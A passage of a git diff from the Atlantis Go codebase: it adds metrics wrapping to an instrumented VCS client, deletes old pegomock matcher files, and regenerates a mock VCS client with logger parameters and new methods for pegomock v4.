executionTime.Stop() + + executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) + executionError := scope.Counter(metrics.ExecutionErrorMetric) + + if err := c.Client.UpdateStatus(logger, repo, pull, state, src, description, url); err != nil { + executionError.Inc(1) + logger.Err("Unable to update status at url: %s, error: %s", url, err.Error()) + return err + } + + executionSuccess.Inc(1) + return nil +} + +func (c *InstrumentedClient) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error { + scope := c.StatsScope.SubScope("merge_pull") + scope = SetGitScopeTags(scope, pull.BaseRepo.FullName, pull.Num) + + executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() + defer executionTime.Stop() + + executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) + executionError := scope.Counter(metrics.ExecutionErrorMetric) + + if err := c.Client.MergePull(logger, pull, pullOptions); err != nil { + executionError.Inc(1) + logger.Err("Unable to merge pull, error: %s", err.Error()) + return err + } + + executionSuccess.Inc(1) + return nil +} + +func SetGitScopeTags(scope tally.Scope, repoFullName string, pullNum int) tally.Scope { + return scope.Tagged(map[string]string{ + "base_repo": repoFullName, + "pr_number": strconv.Itoa(pullNum), + }) +} diff --git a/server/events/vcs/mocks/matchers/models_commitstatus.go b/server/events/vcs/mocks/matchers/models_commitstatus.go deleted file mode 100644 index 0f579baf85..0000000000 --- a/server/events/vcs/mocks/matchers/models_commitstatus.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsCommitStatus() models.CommitStatus { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.CommitStatus))(nil)).Elem())) - var nullValue models.CommitStatus - return nullValue -} - -func EqModelsCommitStatus(value models.CommitStatus) models.CommitStatus { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.CommitStatus - return nullValue -} diff --git a/server/events/vcs/mocks/matchers/models_pullrequest.go b/server/events/vcs/mocks/matchers/models_pullrequest.go deleted file mode 100644 index dd1fb0d4ee..0000000000 --- a/server/events/vcs/mocks/matchers/models_pullrequest.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsPullRequest() models.PullRequest { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.PullRequest))(nil)).Elem())) - var nullValue models.PullRequest - return nullValue -} - -func EqModelsPullRequest(value models.PullRequest) models.PullRequest { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.PullRequest - return nullValue -} diff --git a/server/events/vcs/mocks/matchers/models_repo.go b/server/events/vcs/mocks/matchers/models_repo.go deleted file mode 100644 index 418f13cfcf..0000000000 --- a/server/events/vcs/mocks/matchers/models_repo.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsRepo() models.Repo { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.Repo))(nil)).Elem())) - var nullValue models.Repo - return nullValue -} - -func EqModelsRepo(value models.Repo) models.Repo { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.Repo - return nullValue -} diff --git a/server/events/vcs/mocks/matchers/ptr_to_http_client.go b/server/events/vcs/mocks/matchers/ptr_to_http_client.go deleted file mode 100644 index 4ec2550015..0000000000 --- a/server/events/vcs/mocks/matchers/ptr_to_http_client.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - http "net/http" -) - -func AnyPtrToHttpClient() *http.Client { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*http.Client))(nil)).Elem())) - var nullValue *http.Client - return nullValue -} - -func EqPtrToHttpClient(value *http.Client) *http.Client { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *http.Client - return nullValue -} diff --git a/server/events/vcs/mocks/matchers/slice_of_byte.go b/server/events/vcs/mocks/matchers/slice_of_byte.go deleted file mode 100644 index 9a9894fa07..0000000000 --- a/server/events/vcs/mocks/matchers/slice_of_byte.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - -) - -func AnySliceOfByte() []byte { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*([]byte))(nil)).Elem())) - var nullValue []byte - return nullValue -} - -func EqSliceOfByte(value []byte) []byte { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue []byte - return nullValue -} diff --git a/server/events/vcs/mocks/matchers/slice_of_string.go b/server/events/vcs/mocks/matchers/slice_of_string.go deleted file mode 100644 index 96f9b24ae2..0000000000 --- a/server/events/vcs/mocks/matchers/slice_of_string.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - -) - -func AnySliceOfString() []string { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*([]string))(nil)).Elem())) - var nullValue []string - return nullValue -} - -func EqSliceOfString(value []string) []string { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue []string - return nullValue -} diff --git a/server/events/vcs/mocks/mock_client.go b/server/events/vcs/mocks/mock_client.go index 0b20b49b63..265fa4b601 100644 --- a/server/events/vcs/mocks/mock_client.go +++ b/server/events/vcs/mocks/mock_client.go @@ -4,8 +4,9 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" + logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) @@ -25,178 +26,265 @@ func NewMockClient(options ...pegomock.Option) *MockClient { func (mock *MockClient) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockClient) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockClient) GetModifiedFiles(repo models.Repo, pull models.PullRequest) ([]string, error) { +func (mock *MockClient) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } - params := []pegomock.Param{repo, pull} - result := pegomock.GetGenericMockFrom(mock).Invoke("GetModifiedFiles", params, []reflect.Type{reflect.TypeOf((*[]string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 []string - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].([]string) + _params := []pegomock.Param{logger, repo, pullNum, comment, command} + _result := pegomock.GetGenericMockFrom(mock).Invoke("CreateComment", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } - if result[1] != nil { - ret1 = result[1].(error) + } + return _ret0 +} + +func (mock *MockClient) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockClient().") + } + _params := []pegomock.Param{logger, repo, pull} + _result := pegomock.GetGenericMockFrom(mock).Invoke("DiscardReviews", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } } - return ret0, ret1 + return _ret0 } -func (mock *MockClient) CreateComment(repo models.Repo, pullNum int, comment string, command string) error { +func (mock *MockClient) GetCloneURL(logger logging.SimpleLogging, VCSHostType models.VCSHostType, repo string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } - params := []pegomock.Param{repo, pullNum, comment, command} - result := pegomock.GetGenericMockFrom(mock).Invoke("CreateComment", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{logger, VCSHostType, repo} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetCloneURL", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0 + return _ret0, _ret1 } -func (mock *MockClient) HidePrevPlanComments(repo models.Repo, pullNum int) error { +func (mock *MockClient) GetFileContent(logger logging.SimpleLogging, pull models.PullRequest, fileName string) (bool, []byte, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } - params := []pegomock.Param{repo, pullNum} - result := pegomock.GetGenericMockFrom(mock).Invoke("HidePrevPlanComments", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{logger, pull, fileName} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetFileContent", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*[]byte)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 bool + var _ret1 []byte + var _ret2 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(bool) + } + if _result[1] != nil { + _ret1 = _result[1].([]byte) + } + if _result[2] != nil { + _ret2 = _result[2].(error) } } - return ret0 + return _ret0, _ret1, _ret2 } -func (mock *MockClient) PullIsApproved(repo models.Repo, pull models.PullRequest) (bool, error) { +func (mock *MockClient) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } - params := []pegomock.Param{repo, pull} - result := pegomock.GetGenericMockFrom(mock).Invoke("PullIsApproved", params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 bool - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(bool) + _params := []pegomock.Param{logger, repo, pull} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetModifiedFiles", _params, []reflect.Type{reflect.TypeOf((*[]string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]string) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } -func (mock *MockClient) PullIsMergeable(repo models.Repo, pull models.PullRequest) (bool, error) { +func (mock *MockClient) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } - params := []pegomock.Param{repo, pull} - result := pegomock.GetGenericMockFrom(mock).Invoke("PullIsMergeable", params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 bool - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(bool) + _params := []pegomock.Param{logger, repo, pull} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullLabels", _params, []reflect.Type{reflect.TypeOf((*[]string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]string) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } -func (mock *MockClient) UpdateStatus(repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { +func (mock *MockClient) GetTeamNamesForUser(logger logging.SimpleLogging, repo models.Repo, user models.User) ([]string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } - params := []pegomock.Param{repo, pull, state, src, description, url} - result := pegomock.GetGenericMockFrom(mock).Invoke("UpdateStatus", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{logger, repo, user} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetTeamNamesForUser", _params, []reflect.Type{reflect.TypeOf((*[]string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0 + return _ret0, _ret1 } -func (mock *MockClient) MergePull(pull models.PullRequest) error { +func (mock *MockClient) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } - params := []pegomock.Param{pull} - result := pegomock.GetGenericMockFrom(mock).Invoke("MergePull", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{logger, repo, pullNum, command, dir} + _result := pegomock.GetGenericMockFrom(mock).Invoke("HidePrevCommandComments", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } } - return ret0 + return _ret0 } func (mock *MockClient) MarkdownPullLink(pull models.PullRequest) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } - params := []pegomock.Param{pull} - result := pegomock.GetGenericMockFrom(mock).Invoke("MarkdownPullLink", params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 string - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(string) + _params := []pegomock.Param{pull} + _result := pegomock.GetGenericMockFrom(mock).Invoke("MarkdownPullLink", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockClient) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockClient().") + } + _params := []pegomock.Param{logger, pull, pullOptions} + _result := pegomock.GetGenericMockFrom(mock).Invoke("MergePull", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) + } + } + return _ret0 +} + +func (mock *MockClient) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockClient().") + } + _params := []pegomock.Param{logger, repo, pull} + _result := pegomock.GetGenericMockFrom(mock).Invoke("PullIsApproved", _params, []reflect.Type{reflect.TypeOf((*models.ApprovalStatus)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.ApprovalStatus + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.ApprovalStatus) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } -func (mock *MockClient) DownloadRepoConfigFile(pull models.PullRequest) (bool, []byte, error) { +func (mock *MockClient) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (bool, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } - params := []pegomock.Param{pull} - result := pegomock.GetGenericMockFrom(mock).Invoke("DownloadRepoConfigFile", params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*[]byte)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 bool - var ret1 []byte - var ret2 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(bool) + _params := []pegomock.Param{logger, repo, pull, vcsstatusname, ignoreVCSStatusNames} + _result := pegomock.GetGenericMockFrom(mock).Invoke("PullIsMergeable", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 bool + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(bool) } - if result[1] != nil { - ret1 = result[1].([]byte) + if _result[1] != nil { + _ret1 = _result[1].(error) } - if result[2] != nil { - ret2 = result[2].(error) + } + return _ret0, _ret1 +} + +func (mock *MockClient) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockClient().") + } + _params := []pegomock.Param{logger, repo, pullNum, commentID, reaction} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ReactToComment", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } } - return ret0, ret1, ret2 + return _ret0 } func (mock *MockClient) SupportsSingleFileDownload(repo models.Repo) bool { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } - params := []pegomock.Param{repo} - result := pegomock.GetGenericMockFrom(mock).Invoke("SupportsSingleFileDownload", params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()}) - var ret0 bool - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(bool) + _params := []pegomock.Param{repo} + _result := pegomock.GetGenericMockFrom(mock).Invoke("SupportsSingleFileDownload", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()}) + var _ret0 bool + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(bool) + } + } + return _ret0 +} + +func (mock *MockClient) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockClient().") + } + _params := []pegomock.Param{logger, repo, pull, state, src, description, url} + _result := pegomock.GetGenericMockFrom(mock).Invoke("UpdateStatus", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } } - return ret0 + return _ret0 } func (mock *MockClient) VerifyWasCalledOnce() *VerifierMockClient { @@ -206,14 +294,14 @@ func (mock *MockClient) VerifyWasCalledOnce() *VerifierMockClient { } } -func (mock *MockClient) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockClient { +func (mock *MockClient) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockClient { return &VerifierMockClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockClient) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockClient { +func (mock *MockClient) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockClient { return &VerifierMockClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -221,7 +309,7 @@ func (mock *MockClient) VerifyWasCalledInOrder(invocationCountMatcher pegomock.M } } -func (mock *MockClient) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockClient { +func (mock *MockClient) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockClient { return &VerifierMockClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -231,251 +319,360 @@ func (mock *MockClient) VerifyWasCalledEventually(invocationCountMatcher pegomoc type VerifierMockClient struct { mock *MockClient - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockClient) GetModifiedFiles(repo models.Repo, pull models.PullRequest) *MockClient_GetModifiedFiles_OngoingVerification { - params := []pegomock.Param{repo, pull} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetModifiedFiles", params, verifier.timeout) - return &MockClient_GetModifiedFiles_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockClient) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) *MockClient_CreateComment_OngoingVerification { + _params := []pegomock.Param{logger, repo, pullNum, comment, command} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "CreateComment", _params, verifier.timeout) + return &MockClient_CreateComment_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockClient_GetModifiedFiles_OngoingVerification struct { +type MockClient_CreateComment_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } -func (c *MockClient_GetModifiedFiles_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest) { - repo, pull := c.GetAllCapturedArguments() - return repo[len(repo)-1], pull[len(pull)-1] +func (c *MockClient_CreateComment_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int, string, string) { + logger, repo, pullNum, comment, command := c.GetAllCapturedArguments() + return logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1], comment[len(comment)-1], command[len(command)-1] } -func (c *MockClient_GetModifiedFiles_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) +func (c *MockClient_CreateComment_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []int, _param3 []string, _param4 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } } - _param1 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.PullRequest) + if len(_params) > 2 { + _param2 = make([]int, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(int) + } + } + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } + } + if len(_params) > 4 { + _param4 = make([]string, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(string) + } } } return } -func (verifier *VerifierMockClient) CreateComment(repo models.Repo, pullNum int, comment string, command string) *MockClient_CreateComment_OngoingVerification { - params := []pegomock.Param{repo, pullNum, comment, command} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "CreateComment", params, verifier.timeout) - return &MockClient_CreateComment_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockClient) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) *MockClient_DiscardReviews_OngoingVerification { + _params := []pegomock.Param{logger, repo, pull} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DiscardReviews", _params, verifier.timeout) + return &MockClient_DiscardReviews_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockClient_CreateComment_OngoingVerification struct { +type MockClient_DiscardReviews_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } -func (c *MockClient_CreateComment_OngoingVerification) GetCapturedArguments() (models.Repo, int, string, string) { - repo, pullNum, comment, command := c.GetAllCapturedArguments() - return repo[len(repo)-1], pullNum[len(pullNum)-1], comment[len(comment)-1], command[len(command)-1] +func (c *MockClient_DiscardReviews_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest) { + repo, pull := c.GetAllCapturedArguments() + return repo[len(repo)-1], pull[len(pull)-1] } -func (c *MockClient_CreateComment_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []int, _param2 []string, _param3 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) - } - _param1 = make([]int, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(int) - } - _param2 = make([]string, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(string) +func (c *MockClient_DiscardReviews_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.Repo) + } } - _param3 = make([]string, len(c.methodInvocations)) - for u, param := range params[3] { - _param3[u] = param.(string) + if len(_params) > 1 { + _param1 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.PullRequest) + } } } return } -func (verifier *VerifierMockClient) HidePrevPlanComments(repo models.Repo, pullNum int) *MockClient_HidePrevPlanComments_OngoingVerification { - params := []pegomock.Param{repo, pullNum} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "HidePrevPlanComments", params, verifier.timeout) - return &MockClient_HidePrevPlanComments_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockClient) GetCloneURL(logger logging.SimpleLogging, VCSHostType models.VCSHostType, repo string) *MockClient_GetCloneURL_OngoingVerification { + _params := []pegomock.Param{logger, VCSHostType, repo} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetCloneURL", _params, verifier.timeout) + return &MockClient_GetCloneURL_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockClient_HidePrevPlanComments_OngoingVerification struct { +type MockClient_GetCloneURL_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } -func (c *MockClient_HidePrevPlanComments_OngoingVerification) GetCapturedArguments() (models.Repo, int) { - repo, pullNum := c.GetAllCapturedArguments() - return repo[len(repo)-1], pullNum[len(pullNum)-1] +func (c *MockClient_GetCloneURL_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.VCSHostType, string) { + logger, VCSHostType, repo := c.GetAllCapturedArguments() + return logger[len(logger)-1], VCSHostType[len(VCSHostType)-1], repo[len(repo)-1] } -func (c *MockClient_HidePrevPlanComments_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []int) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) +func (c *MockClient_GetCloneURL_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.VCSHostType, _param2 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } } - _param1 = make([]int, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(int) + if len(_params) > 1 { + _param1 = make([]models.VCSHostType, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.VCSHostType) + } + } + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } } } return } -func (verifier *VerifierMockClient) PullIsApproved(repo models.Repo, pull models.PullRequest) *MockClient_PullIsApproved_OngoingVerification { - params := []pegomock.Param{repo, pull} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "PullIsApproved", params, verifier.timeout) - return &MockClient_PullIsApproved_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockClient) GetFileContent(logger logging.SimpleLogging, pull models.PullRequest, fileName string) *MockClient_GetFileContent_OngoingVerification { + _params := []pegomock.Param{logger, pull, fileName} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetFileContent", _params, verifier.timeout) + return &MockClient_GetFileContent_OngoingVerification{mock: verifier.mock, methodInvocations: 